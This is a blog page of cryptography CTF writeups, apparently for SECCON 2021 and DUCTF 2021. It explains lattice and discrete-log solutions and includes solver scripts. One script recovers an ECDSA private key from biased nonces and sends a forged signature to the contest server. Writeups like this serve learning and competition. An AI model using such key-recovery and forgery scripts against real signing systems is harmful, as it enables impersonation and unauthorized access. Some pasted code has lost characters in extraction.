87
88
89
90
91
require 'openssl'
require 'digest'
 
STDOUT.sync = true
 
class OpenSSL::PKey::EC::Point
  def xy
    n = to_bn(:uncompressed).to_i
    mask = (1 << group.degree) - 1
    return (n >> group.degree) & mask, n & mask
  end
  alias_method :+, :add
  alias_method :*, :mul
end
 
class ECDSA
  def initialize
    @curve = OpenSSL::PKey::EC::Group.new('secp256k1')
    @G = @curve.generator
    @n = @curve.order.to_i
    @d = OpenSSL::BN.rand(@curve.degree).to_i
    @Q = @G * @d
  end
 
  def inv(x)
    x.pow(@n - 2, @n)
  end
 
  def sign(msg)
    z = Digest::SHA256.hexdigest(msg).hex
    k = OpenSSL::BN.rand(@curve.degree / 3).to_s.unpack1('H*').hex
    x, y = (@G * k).xy
 
    # We should discourage every evil hacks
    s = (z + x * @d) * inv(k) % @n
 
    return x, s
  end
 
  def verify(msg, x, s)
    return false if x % @n == 0 || s % @n == 0
    z = Digest::SHA256.hexdigest(msg).hex
 
    # ditto
    x2, y2 = (@G * (z * inv(s)) + @Q * (x * inv(s))).xy
 
    return x == x2
  end
end
 
ecdsa = ECDSA.new
 
5.times do
  puts <<~EOS
    1. Sign
    2. Find rule
    3. Exit
  EOS
 
  print 'choice? '
 
  case gets.chomp
  when '1'
    x, s = ecdsa.sign('Baba')
    puts 'Baba is:'
    puts "x = #{x}"
    puts "s = #{s}"
  when '2'
    print 'Which rule do you want to know? '; msg = gets.chomp
    print 'x? '; x = gets.to_i
    print 's? '; s = gets.to_i
 
    if ecdsa.verify(msg, x, s)
      if msg == 'Baba'
        puts 'Baba is you'
      elsif msg == 'Flag'
        puts "Flag is #{ENV['FLAG']}"
      else
        puts 'Not Found :('
      end
    else
      puts 'Invalid :('
    end
  else
    exit
  end
end
 
puts 'You is defeat.'
 
 
cs

 

This challenge also took me ridiculously long because I made many mistakes and my intuition on lattices is not solid. 

 

It took me very long to realize that I have ruby installed on WSL and I could test what that whole unpack hex thing is. 

Of course, experienced CTF players may notice that unpack hex thing from last year's SECCON, but I didn't solve that challenge :P

 

Anyways, if you test out that unpack hex thing, we can see that $k$ has the form of $$ 48 \cdot \sum_{m=0}^{26} 256^m + \sum_{m=0}^{26} v_m \cdot 256^m$$ where $0 \le v_m \le 9$. We also know that $$k_1 s_1 \equiv z + x_1 d \pmod{n}, \quad k_2 s_2 \equiv z + x_2 d \pmod{n}$$ which, after canceling $d$ out, gives $$k_1(s_1x_2) - k_2(s_2x_1) \equiv z(x_2-x_1) \pmod{n}$$ This can be written as a linear equation of $26 \times 2$ variables between $0$ and $9$ inclusive, and we can shove it into CVP repository.

It seems like you need BKZ instead of LLL to find the correct values, which is understandable since BKZ is very strong.

 

I took a lot of time trying to use as many signatures as possible, leading to very large matrix size and longer runtime. 

I also tried a lot of various hacks which worked very well for ACSC Share the Flag, but they didn't work here. Lattices are hard...

 

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
70
71
72
73
74
75
76
77
78
79
80
81
82
83
84
85
86
87
88
89
90
91
92
93
94
95
96
97
98
99
100
101
102
103
104
105
106
107
108
109
110
111
112
113
114
115
116
117
118
119
120
121
122
123
124
125
126
127
128
129
130
131
132
133
134
135
136
137
138
139
140
141
142
143
144
145
146
147
148
149
150
151
152
153
154
155
156
157
158
159
160
161
162
163
164
165
166
167
168
169
170
171
172
173
174
175
176
177
178
179
180
# Directly taken from rbtree's LLL repository
# From https://oddcoder.com/LOL-34c3/, https://hackmd.io/@hakatashi/B1OM7HFVI
def Babai_CVP(mat, target):
    M = mat.BKZ(block_size = 35)
    G = M.gram_schmidt()[0]
    diff = target
    for i in reversed(range(G.nrows())):
        diff -=  M[i] * ((diff * G[i]) / (G[i] * G[i])).round()
    return target - diff
 
def solve(mat, lb, ub, weight = None):
    num_var  = mat.nrows()
    num_ineq = mat.ncols()
 
    max_element = 0 
    for i in range(num_var):
        for j in range(num_ineq):
            max_element = max(max_element, abs(mat[i, j]))
 
    if weight == None:
        weight = num_ineq * max_element
 
    # sanity checker
    if len(lb) != num_ineq:
        print("Fail: len(lb) != num_ineq")
        return
 
    if len(ub) != num_ineq:
        print("Fail: len(ub) != num_ineq")
        return
 
    for i in range(num_ineq):
        if lb[i] > ub[i]:
            print("Fail: lb[i] > ub[i] at index", i)
            return
 
        # heuristic for number of solutions
    DET = 0
 
    if num_var == num_ineq:
        DET = abs(mat.det())
        num_sol = 1
        for i in range(num_ineq):
            num_sol *= (ub[i] - lb[i])
        if DET == 0:
            print("Zero Determinant")
        else:
            num_sol //= DET
            # + 1 added in for the sake of not making it zero...
            print("Expected Number of Solutions : ", num_sol + 1)
 
    # scaling process begins
    max_diff = max([ub[i] - lb[i] for i in range(num_ineq)])
    applied_weights = []
 
    for i in range(num_ineq):
        ineq_weight = weight if lb[i] == ub[i] else max_diff // (ub[i] - lb[i])
        applied_weights.append(ineq_weight)
        for j in range(num_var):
            mat[j, i] *= ineq_weight
        lb[i] *= ineq_weight
        ub[i] *= ineq_weight
 
    # Solve CVP
    target = vector([(lb[i] + ub[i]) // 2 for i in range(num_ineq)])
    result = Babai_CVP(mat, target)
 
    print(result[num_ineq - 1- target[num_ineq-1])
 
    for i in range(num_ineq):
        if (lb[i] <= result[i] <= ub[i]) == False:
            print("Fail : inequality does not hold after solving")
            break
    
        # recover x
    fin = None
 
    if DET != 0:
        mat = mat.transpose()
        fin = mat.solve_right(result)
    
    ## recover your result
    return result, applied_weights, fin
 
 
 
 
= remote('34.146.212.53'35719)
 
= (1 << 256- (1 << 32- (1 << 9- (1 << 8- (1 << 7- (1 << 6- (1 << 4- 1
 
= EllipticCurve(GF(p), [07])
Gx = 0x79BE667EF9DCBBAC55A06295CE870B07029BFCDB2DCE28D959F2815B16F81798
Gy = 0x483ADA7726A3C4655DA4FBFC0E1108A8FD17B448A68554199C47D08FFB10D4B8
 
= E(Gx, Gy)
= E.order()
print(isPrime(n))
 
h1 = bytes_to_long(hashlib.sha256(b'Baba').digest())
h2 = bytes_to_long(hashlib.sha256(b'Flag').digest())
 
= []
= []
for _ in range(4):
    for i in range(3):
        r.recvline()
    r.sendline(b"1")
    r.recvline()
    X.append(int(r.recvline().split()[-1]))
    S.append(int(r.recvline().split()[-1]))
 
NUM_EQ = 4
test = False
 
= 26
 
supp = []
if test:
    d = rand.randint(1, n)
    for i in range(NUM_EQ):
        cc = []
        k = 0
        for j in range(2 * D):
            if j % 2 == 0:
                u = rand.randint(09)
                supp.append(u)
                k += u * (16 ** j)
                cc.append(u)
            else:
                k += 3 * (16 ** j)
        x = int((k * G).xy()[0])
        s = ((h1 + x * d) * inverse(k, n)) % n 
        X[i] = x
        S[i] = s 
    supp.append(d)
 
print(supp)
= Matrix(ZZ, 2 * D + 12 * D + 1)
lb = [0* (2 * D + 1)
ub = [0* (2 * D + 1
 
base_k = 0
for i in range(D):
    base_k += 3 * 16 * (256 ** i)
 
for i in range(2 * D):
    M[i, i] = 1
    lb[i] = 0
    ub[i] = 16 
 
for i in range(D):
    M[i, 2 * D] = int(((256 ** i) * (S[0* X[1])) % n)
    M[i + D, 2 * D] = int(n - ((256 ** i) * (S[1* X[0])) % n) 
    M[2 * D, 2 * D] = int(n)
    lb[2 * D] = int((h1 * (X[1- X[0]) - base_k * S[0* X[1+ base_k * S[1* X[0]) % n)
    ub[2 * D] = int((h1 * (X[1- X[0]) - base_k * S[0* X[1+ base_k * S[1* X[0]) % n)
 
 
result, applied_weights, fin = solve(M, lb, ub)
print(fin)
 
k0 = base_k 
for i in range(26):
    k0 += (256 ** i) * int(fin[i]) 
 
= (inverse(X[0], n) * (k0 * S[0- h1)) % n 
 
= Gx 
= (h2 + x * d) % n 
 
for i in range(3):
    print(r.recvline())
r.sendline(b"2")
r.sendline(b"Flag")
r.sendline(str(x))
r.sendline(str(s))
print(r.recvline())
print(r.recvline())
print(r.recvline())
cs

 

Lumberjack in Nature

1
2
3
4
5
6
7
8
9
10
11
12
from mpmath import mp, power, ln
import json
 
mp.dps = 1000000000
 
def decode(enc):
    return int(power(2, enc * ln(2)))
 
s, e = json.load(open('encoded.json'))
flag = decode(s << e)
 
print(flag.to_bytes((flag.bit_length() + 7// 8'big')[:74])
cs

 

To solve this problem, we need to know the higher bits of $$2^{s \cdot 2^e \cdot \ln 2}$$ where $e = 13371337$ is very large. This is equivalent to finding the decimal part of $s \cdot 2^e \cdot \ln 2$ to a very high precision. 

 

Since you need the decimal part, and $2^e$ is very large, if we want to do direct computation we would need at least $10^7$ binary digits of precision, which seems like too much to handle, even for SageMath. We would like the computation to be easier to do.

 

UPDATE : Never underestimate SageMath! Using $2 \cdot 10^7$ binary digits of precision works very well and fast.

 

The key idea is to approximate $\ln 2$ using the Taylor series $$\ln 2 = \sum_{n=1}^\infty \frac{1}{2^n n}$$ This implies that $$s \cdot 2^e \cdot \ln 2 = \sum_{n=1}^\infty \frac{s 2^{e-n}}{n}$$ and we can compute the decimal part of this as follows. We will sum from $n=1$ to $n=14000000$ as it is enough for precision.

  • If $e > n$, then compute $r = s \cdot 2^{e-n} \pmod{n}$ and add $r/n$ to the sum
  • If $n \le e \le n+600$, then compute $r = s \pmod{n \cdot 2^{n-e}}$ and add $r / (n \cdot 2^{n-e})$ to the sum
  • If $e > n+600$, then add $s / (n \cdot 2^{n-e})$ to the sum 
  • After each addition, if the value is larger than $1$, subtract $1$ from it

This is enough to compute the decimal part of $s \cdot 2^e \cdot \ln(2)$ with $10^4$ bits of precision in a few minutes. 

 

Now we can compute the higher bits of $2^{s \cdot 2^e \cdot \ln(2)}$ as well, and shift it and make it into bytes to get our flag.

 

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
= RealField(10000)
s, e = 164407670104841080073659804452195762116507500922004735359869590815479854557466921362882298301347813164513610782999110714796659202306480268420598493560455658097643208225514854976313371337
print(s.bit_length())
 
res = R(0)
 
for i in tqdm(range(114000000)):
    # s / i* 2^(e-i)
    if i <= e:
        cc = int(  (s * int(pow(2, e - i, i)) ) % i )
        res += R(cc) / R(i)
    elif i <= e + 600:
        cc = s % (i * pow(2, i-e))
        res += R(cc) / R(i * (R(2** (i - e)))
    else:
        res += R(s) / R(i * (R(2** (i - e)))
    if res >= R(1):
        res -= R(1)
    
print(res)
res = R(2** res
 
for i in range(70 * 880 * 8):
    cc = int(res * R(2 ** i))
    print(cc.to_bytes((cc.bit_length() + 7// 8'big'))
cs

 

Lumberjack Against Nature

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
from mpmath import power, ln
from random import SystemRandom
from string import ascii_letters
from signal import alarm
 
from secret import decode_fast, flag
 
alarm(10)
 
def to_string(number):
    return number.to_bytes((number.bit_length() + 7// 8'big')[:74]
def decode(enc):
    return to_string(int(power(2, enc * ln(2))))
 
assert(decode(1337 << 5== decode_fast(13375))
 
 
plaintext = ''.join(SystemRandom().choice(ascii_letters) for _ in range(74)).encode()
= 13371337
 
print(f'decode(s << {e}) == {plaintext}')
= int(input('s = ? '))
 
if 0 < s < 2 ** (75 * 8and decode_fast(s, e) == plaintext:
    print(f'Congrats! {flag}')
else:
    print(":P")
 
cs

 

Now we have to go around. Denote the decimal term of $2^{13371337} \cdot \ln(2)$ as $t$, and the target plaintext viewed as a integer as $v$.

 

We want to find an $0 \le s < 2^{600}$ such that $$2^{s \cdot t - z} \approx v$$ for some integer $z$. To solve this, we take the logarithm again and multiply $2^{5000}$, giving us $$s \cdot \lfloor 2^{5000} t \rfloor - 2^{5000} z \approx \lfloor \log_2(v) \cdot 2^{5000} \rfloor$$ It's clear that we can compute the two values $$T = \lfloor 2^{5000} t \rfloor , \quad V = \lfloor \log_2(v) \cdot 2^{5000} \rfloor$$ using the methods described in the challenge above and arbitrary precision logarithms from SageMath. Now we want something like $$ sT \pmod{2^{5000}} \approx V \pmod{2^{5000}}$$ If we plug in the values of the challenge above, we see that $$ V - 2^{4409} \pmod{2^{5000}} \le sT \pmod{2^{5000}} \le V + 2^{4409} \pmod{2^{5000}}$$ Here, note that $$L \pmod{M} \le x \pmod{M} \le R \pmod{M}$$ should be regarded as $x$ lies in the clockwise strip from $L$ to $R$ in a clock divided into $M$ pieces. Check the link below. 

 

Anyways, it's now clear that we want to solve the system $$0 \le s < 2^{600}, \quad V - 2^{4409} \pmod{2^{5000}} \le sT \pmod{2^{5000}} \le V + 2^{4409} \pmod{2^{5000}}$$ which is possible with the "special case variation" of the CVP repository. This will give around $2^{10}$ candidates for $s$. 

 

Since we have already precomputed $t$ and $T$, we can check the validity of each $s$ very easily.

While this solution works with a relatively low probability, it still works well enough to first blood this challenge. :)

 

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
70
71
72
73
74
75
76
77
78
79
80
81
82
83
84
85
86
87
88
89
90
91
92
93
94
95
96
97
98
99
100
101
102
103
104
105
106
107
108
109
110
111
112
113
114
115
116
117
118
119
120
121
122
123
124
def ceil(n, m): # returns ceil(n/m)
    return (n + m - 1// m
 
def is_inside(L, R, M, val): # is L <= val <= R in mod M context?
    if L <= R:
        return L <= val <= R
    else:
        R += M
        if L <= val <= R:
            return True
        if L <= val + M <= R:
            return True 
        return False
 
## some notes : it's good idea to check for gcd(A, M) = 1
## in CTF context, if gcd(A, M) != 1, we can factorize M and sometimes we can solve the challenge
## in competitive programming context, we need to check gcd(A, M) = 1 and decide whether solution even exists..
def optf(A, M, L, R): # minimum nonnegative x s.t. L <= Ax mod M <= R
    if L == 0:
        return 0
    if 2 * A > M:
        L, R = R, L
        A, L, R = M - A, M - L, M - R
    cc_1 = ceil(L, A)
    if A * cc_1 <= R:
        return cc_1
    cc_2 = optf(A - M % A, A, L % A, R % A)
    return ceil(L + M * cc_2, A)
 
# check if L <= Ax (mod M) <= R has a solution
def sol_ex(A, M, L, R):
    if L == 0 or L > R:
        return True
    g = GCD(A, M)
    if (L - 1// g == R // g:
        return False
    return True
 
## find all solutions for L <= Ax mod M <= R, S <= x <= E:
def solve(A, M, L, R, S, E):
    # this is for estimate only : if very large, might be a bad idea to run this
    # print("Expected Number of Solutions : ", ((E - S + 1) * (R - L + 1)) // M + 1)
    if sol_ex(A, M, L, R) == False:
        return []
    cur = S - 1
    ans = []
    num_sol = 0
    while cur <= E:
        NL = (L - A * (cur + 1)) % M
        NR = (R - A * (cur + 1)) % M
        if NL > NR:
            cur += 1
        else:
            val = optf(A, M, NL, NR)
            cur += 1 + val
        if cur <= E:
            ans.append(cur)
            # remove assert for performance if needed
            assert is_inside(L, R, M, (A * cur) % M)
            num_sol += 1
    print("Actual Number of Solutions : ", num_sol)
    return ans
 
= RealField(10000)
s, e = 113371337
res = R(0)
 
for i in tqdm(range(114000000)):
    # s / i* 2^(e-i)
    if i <= e:
        cc = int(  (s * int(pow(2, e - i, i)) ) % i )
        res += R(cc) / R(i)
    elif i <= e + 600:
        cc = s % (i * pow(2, i-e))
        res += R(cc) / R(i * (R(2** (i - e)))
    else:
        res += R(s) / R(i * (R(2** (i - e)))
    if res >= R(1):
        res -= R(1)
 
= int(res * R(2 ** 5000))
print(v)
 
sys.setrecursionlimit(10 ** 6)
 
while True:
    r = remote('34.146.212.53'53928)
    s = r.recvline()
    print(s)
    s = s[-76:-2]
    print(s)
 
    cc = bytes_to_long(s)
    res = R(cc).log() / R(2).log()
    res = int(res * R(2 ** 5000))
 
    # enc * v - integer * 2^5000 = ln_2(val) * 2^5000
    # enc * v - integer * 2^5000 = res 
    fin = solve(v, 1 << 5000, (res - (1 << 4409)) % (1 << 5000), (res + (1 << 4409)) % (1 << 5000), 01 << 600)
    dec = R(v) / R(2 ** 5000)
 
    finished = False
    for cand in fin:
        if finished:
            break
        val = dec * R(cand)
        val = val - val.floor()
        val = R(2** val
        for i in range(70 * 880 * 8):
            flag = int(val * R(2 ** i))
            flag = flag.to_bytes((flag.bit_length() + 7// 8'big')
            if s == flag[:74]:
                print(s)
                print(cand.bit_length())
                print(flag)
                print(cand)
                r.sendline(str(cand))
                ff = r.recvline()
                if b"? :P" in ff:
                    finished = True
                    break
                else:
                    print(ff)
    r.close()
cs

'수학 > 암호론 및 CTF' 카테고리의 다른 글

N1CTF 2021 Writeups  (1) 2021.11.22
PBCTF 2021 Writeups  (0) 2021.10.13
TSGCTF 2021 Writeups  (0) 2021.10.03
DUCTF 2021 Writeups  (0) 2021.09.26
ACSC Crypto Writeups  (0) 2021.09.26
CryptoCTF Writeups (DoRSA, Polish)  (0) 2021.08.05

I briefly participated in DUCTF 2021, solving three crypto challenges and two simple rev challenges.

The reversing challenges were fun and hard enough for me, but they are labeled easy/medium so I will not explain them here.

Also, joseph (one of the problemsetters) has a very good writeup on https://jsur.in/posts/2021-09-26-ductf-2021-writeups, so check it out. 

 

yadlp

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
def G_add(A, B):
    x1, y1 = A
    x2, y2 = B
    return ((x1*x2 + D*y1*y2) % p, (x1*y2 + x2*y1 + 2*y1*y2) % p)
 
def G_mul(A, k):
    out = (10)
    while k > 0:
        if k & 1:
            out = G_add(out, A)
        A = G_add(A, A)
        k >>= 1
    return out
 
def rand_element():
    while True:
        x = randint(1, p-1)
        d = x^2 * (D + 1- D
        if (x & 1 == d & 1and kronecker(d, p) == 1:
            y = (x + sqrt(Zmod(p)(d))) * inverse_mod(D, p) % p
            return (x, y)
 
= 13337
= 17568142778435152362975498611159042138909402642078949814477371651322179417849164549408357464774644525711780515232117470272550677945089719112177956836141583
assert p.nbits() >= 512
assert ((p-1)//2).is_prime() # safe prime
 
FLAG = open('flag.txt''rb').read().strip()
assert len(FLAG) % 8 == 0
= [int.from_bytes(FLAG[i:i+8], 'big'for i in range(0len(FLAG), 8)]
 
= [rand_element() for _ in M]
= (10)
for m, gi in zip(M, G):
    c = G_add(c, G_mul(gi, m))
 
print(f'{D = }')
print(f'{p = }')
print(f'{G = }')
print(f'{c = }')
 
cs

 

Step 1 

In challenges like these, figuring out the curve we are on is usually the first step. To do this, we let $$y = \frac{x +\sqrt{(D+1)x^2 - D}}{D}$$ and work out some algebra to end up with $$(x+y)^2 - (D+1)y^2 = 1$$ which is a Pell's equation. Now we change $(x, y)$ to $(x+y, y)$ and change $D$ to $D+1$ and consider $x^2 - Dy^2 = 1$. 

 

The solutions of Pell's equation satisfy some good properties, which come from the identity $$(a^2-Db^2)(c^2-Dd^2) = (ac+Dbd)^2 - D(ad+bc)^2$$ which shows that if $(a, b), (c, d)$ are solutions of $x^2-Dy^2=1$, then $(ac+Dbd, ad+bc)$ is also such a solution. This turns out to be the group addition as well. The homomorphism to a multiplicative group of $\mathbb{F}_{p^2} = \mathbb{F}_p[x] / (x^2 - D)$ written as $$ (a, b) \rightarrow a + bx$$ is also notable. The results here so far can be studied from Pell's equation theory, so the point up to here were straightforward for me.

 

Step 2 

Now we have to look at the group structure. There are various methods to end up with the correct conclusion - that the group is a cyclic group of order $p+1$. You could just guess the group order, or give a solid mathematical proof. joseph gives a proof by using that the multiplicative group of $\mathbb{F}_{p^2}$ is cyclic and $\alpha^{p+1}=1$ for each $\alpha = a + bx$ for $(a, b)$ satisfying $a^2 - Db^2 = 1$. I think technically this proves that the group order is a divisor of $p+1$, but this is quite good as well. Here's another method that I used during my solve.

 

It suffices to show that there are exactly $p+1$ solutions for $a^2 - Db^2 \equiv 1 \pmod{p}$. This is equivalent to computing $$\sum_{b=0}^{p-1} 1 + \left( \frac{Db^2 + 1}{p} \right) = 2 + \sum_{b=1}^{p-1} 1 + \left( \frac{Db^2+1}{p} \right) $$ $$ = 2 + \sum_{b=1}^{p-1} 1+ \left( \frac{D + b^2}{p} \right)$$ which means the value is the number of solutions for $$a^2 - b^2 \equiv D \pmod{p}, \quad b \not\equiv 0 \pmod{p} $$ plus $2$. Of course, the given equation is equivalent to $$(a-b)(a+b) \equiv D \pmod{p}$$ and there are $p-1$ solutions of the form $$a-b \equiv i \pmod{p}, \quad a+b \equiv Di^{-1} \pmod{p}$$ for each $i \in \{1, \cdots , p-1\}$. The key is that none of the solutions have $b \equiv 0 \pmod{p}$ because $D$ is, in this problem, not a quadratic residue. Therefore, the number of solutions is $2 + (p-1) = p+1$, as desired. This concludes the proof.

 

Note that if $D$ was a quadratic residue, there would be $p-1$ solutions.

 

This is really the turning point of the challenge - if $D$ was a quadratic residue, the group order would be $p-1$ and the fact that $p$ is a safe prime will help greatly to make the cipher safe. However, $D$ is not a quadratic residue, which makes the fact that $p$ is "safe" mean absolutely nothing. In fact, $p+1$ is very smooth. I thought that the whole $p$ is "safe" thing in the given script was a very funny joke :)

 

Step 3

Now we compute the actual discrete logarithm. There are many ways to compute this - you could write a custom Pohlig-Hellman algorithm to account for different addition and multiplication formula, which is possible but a hassle. An easier way is to define $\mathbb{F}_{p^2} = \mathbb{F}_p[x] / (x^2 - D)$ and work discrete logarithm over this field. Of course, to find a discrete logarithm, we need a generator $g$ for the field. Theoretically, we can just find random points until we find a generator. In my solution, I just tried the given points.

 

Step 4

Now that we know all the discrete logarithms, all we need to do is compute the flag. We see that $$ \sum m_i \log_g(g_i) = \log_g(res) \pmod{p+1}$$ along with $0 \le m_i < 2^{64}$. This condition can be straightforwardly feeded into my CVP repository https://github.com/rkm0959/Inequality_Solving_with_CVP and we have the flag. This was a nice challenge combining a lot of fun math ideas :)

 

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
70
71
72
73
74
75
76
77
78
79
80
81
82
83
84
85
86
87
88
89
90
91
92
93
94
95
96
97
98
99
100
101
102
103
104
105
106
107
108
109
110
111
112
113
114
115
116
117
118
119
120
121
122
123
124
125
126
127
128
129
130
131
132
133
134
135
136
137
138
# Directly taken from rbtree's LLL repository
# From https://oddcoder.com/LOL-34c3/, https://hackmd.io/@hakatashi/B1OM7HFVI
def Babai_CVP(mat, target):
    M = IntegerLattice(mat, lll_reduce=True).reduced_basis
    G = M.gram_schmidt()[0]
    diff = target
    for i in reversed(range(G.nrows())):
        diff -=  M[i] * ((diff * G[i]) / (G[i] * G[i])).round()
    return target - diff
 
 
def solve(mat, lb, ub, weight = None):
    num_var  = mat.nrows()
    num_ineq = mat.ncols()
 
    max_element = 0 
    for i in range(num_var):
        for j in range(num_ineq):
            max_element = max(max_element, abs(mat[i, j]))
 
    if weight == None:
        weight = num_ineq * max_element
 
    # sanity checker
    if len(lb) != num_ineq:
        print("Fail: len(lb) != num_ineq")
        return
 
    if len(ub) != num_ineq:
        print("Fail: len(ub) != num_ineq")
        return
 
    for i in range(num_ineq):
        if lb[i] > ub[i]:
            print("Fail: lb[i] > ub[i] at index", i)
            return
 
        # heuristic for number of solutions
    DET = 0
 
    if num_var == num_ineq:
        DET = abs(mat.det())
        num_sol = 1
        for i in range(num_ineq):
            num_sol *= (ub[i] - lb[i])
        if DET == 0:
            print("Zero Determinant")
        else:
            num_sol //= DET
            # + 1 added in for the sake of not making it zero...
            print("Expected Number of Solutions : ", num_sol + 1)
 
    # scaling process begins
    max_diff = max([ub[i] - lb[i] for i in range(num_ineq)])
    applied_weights = []
 
    for i in range(num_ineq):
        ineq_weight = weight if lb[i] == ub[i] else max_diff // (ub[i] - lb[i])
        applied_weights.append(ineq_weight)
        for j in range(num_var):
            mat[j, i] *= ineq_weight
        lb[i] *= ineq_weight
        ub[i] *= ineq_weight
 
    # Solve CVP
    target = vector([(lb[i] + ub[i]) // 2 for i in range(num_ineq)])
    result = Babai_CVP(mat, target)
 
    for i in range(num_ineq):
        if (lb[i] <= result[i] <= ub[i]) == False:
            print("Fail : inequality does not hold after solving")
            break
    
        # recover x
    fin = None
 
    if DET != 0:
        mat = mat.transpose()
        fin = mat.solve_right(result)
    
    ## recover your result
    return result, applied_weights, fin
 
= 13337
= 17568142778435152362975498611159042138909402642078949814477371651322179417849164549408357464774644525711780515232117470272550677945089719112177956836141583
= [(824914940549535049134693493358510941451078743259825009611468757037905313350871186248512803517454757191925623544169989938841766683559931596350748072767428510151966144947987666795899106244951506314545969111450078363915090201899029695981970354886015549281568762501638756950135017679627954071369058817947706039379), (101486582544154755882799565747721968985757181546439671636266944003630091685296458602809598108730283939708536437234250236788574082203309291165264672955425073332426625916817700349475905733631656792492189677766534230576987725484499618918928882667666640821403823057239790395654518704427126712280655564669757208129), (183932668108693992521485398085562602312041460603947441945549962588535727427581518939988035699537651402132911882906207114481856245726889232477383971353397717502649671831125396398431215302241914145169143474764941575812028922929277656849105757332346628455059539582448544435155655055157181361580680672298566085040), (31659559589682038792373443499625336425984410444816927701478078393729427158560475807660732222976925740259222603744099204176656000696651625025144031884325799382092026348588885644924948782239369051861025018411316856012639637274661831713783735305424388410778778529413114167923397187236739639802371814632949741663), (85002940632911245271086232819802558705075497343626042596459840443706586203853513387110519988860262606571329443536753351788719347982001630351902784834916337641198814027309580920446604109217188703337221305342467525089149977505415741300885194767452232679123441594451455097533000754553745051816419202345186703390), (123526856735509864536970355600066326281947889029213985456688284373398735442238959974405852278389199689296697383935356101033820848429004040054320076371939432453949984320580417885537763124479618094084392655766673219227195157341323190069350175423869908524758510177197973709821798974003013596311361995273762475822)]
= (53885671676587869351584134016741684201444292771720647214726629135637756703202984619499793624021577642727627552363209890189894463607407200724886231027760157420389277336940268114831002964626027945367662485419944369852006741899961686908509331719915794976159062761271182318814519641566938538911041229521838799714)
 
print(len(G))
 
'''
D = 13338
p = 17568142778435152362975498611159042138909402642078949814477371651322179417849164549408357464774644525711780515232117470272550677945089719112177956836141583
G = [(8249149405495350491346934933585109414510787432598250096114687570379053133508711862485128035174547571919256235441699899388417666835599315963507480727674285, 10151966144947987666795899106244951506314545969111450078363915090201899029695981970354886015549281568762501638756950135017679627954071369058817947706039379), (10148658254415475588279956574772196898575718154643967163626694400363009168529645860280959810873028393970853643723425023678857408220330929116526467295542507, 3332426625916817700349475905733631656792492189677766534230576987725484499618918928882667666640821403823057239790395654518704427126712280655564669757208129), (1839326681086939925214853980855626023120414606039474419455499625885357274275815189399880356995376514021329118829062071144818562457268892324773839713533977, 17502649671831125396398431215302241914145169143474764941575812028922929277656849105757332346628455059539582448544435155655055157181361580680672298566085040), (3165955958968203879237344349962533642598441044481692770147807839372942715856047580766073222297692574025922260374409920417665600069665162502514403188432579, 9382092026348588885644924948782239369051861025018411316856012639637274661831713783735305424388410778778529413114167923397187236739639802371814632949741663), (8500294063291124527108623281980255870507549734362604259645984044370658620385351338711051998886026260657132944353675335178871934798200163035190278483491633, 7641198814027309580920446604109217188703337221305342467525089149977505415741300885194767452232679123441594451455097533000754553745051816419202345186703390), (12352685673550986453697035560006632628194788902921398545668828437339873544223895997440585227838919968929669738393535610103382084842900404005432007637193943, 2453949984320580417885537763124479618094084392655766673219227195157341323190069350175423869908524758510177197973709821798974003013596311361995273762475822)]
c = (5388567167658786935158413401674168420144429277172064721472662913563775670320298461949979362402157764272762755236320989018989446360740720072488623102776015, 7420389277336940268114831002964626027945367662485419944369852006741899961686908509331719915794976159062761271182318814519641566938538911041229521838799714)
GG = []
for a, b in G:
    GG.append((a+b, b))
a, b = c
cc = (a+b, b)
K.<z> = GF(p**2, name='z', modulus=x^2 - D)
tt = (p+1) // 432
L = list(factor(tt))
print(L)
base = (a+b) + b * z
for a, b in GG:
    v = a + b * z
    print(v.log(base))
'''
 
logs = [2816026164685113357819599161916784095343437608176866348054691853599389483035986857942301105700772017038015800856893756018342135280046636282509828459475264
,4454166524908585051122091699367767320812675170250549943320148456830102311369800005419960817723812062960747357335951038181643917358801852112440501578475705
,10592989590744873457884645785658581545224173008189907961231282661924610752981017572693574053983522152348945200152352773129758671274319626386160131388585752
,9412387853225306787772668180506806539830098501890523194264793947862715307266992454894401276064400106485711592745559238039738469223857458389407805014776300
,11705006563236210956123096549924041531532105228094197348728492717298448400356434417842060810409623716614227796999859505036258530445896800424164580386003096
,7526156655082313923417616532606029321209669119704767191155046511306556916835849234170663657892790215760669790225464654694145090868608505033102329054110089]
 
= Matrix(ZZ, 77)
lb = [0* 7
ub = [0* 7
for i in range(6):
    M[i, 0= logs[i]
M[60= p + 1
lb[0= 1
ub[0= 1
 
for i in range(6):
    M[i, i+1= 1
    lb[i+1= 0
    ub[i+1= (1 << 64)
 
result, applied_weights, fin = solve(M, lb, ub)
 
flag = b''
for i in range(6):
    flag += long_to_bytes(int(fin[i]))
 
print(flag)
cs

 

power sign

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
70
71
72
73
74
75
76
77
78
79
80
81
82
83
84
#!/usr/bin/env sage
 
proof.arithmetic(False# just makes things faster
 
def get_3m4_prime(N):
    while True:
        p = random_prime(2^N - 1, lbound=2^(N-1))
        if p % 4 == 3:
            return p
 
def generate_key(L, n, m):
    p = get_3m4_prime(L//2)
    q = get_3m4_prime(L//2)
    N = p*q
    r = next_prime(N)
    F.<x> = PolynomialRing(GF(r))
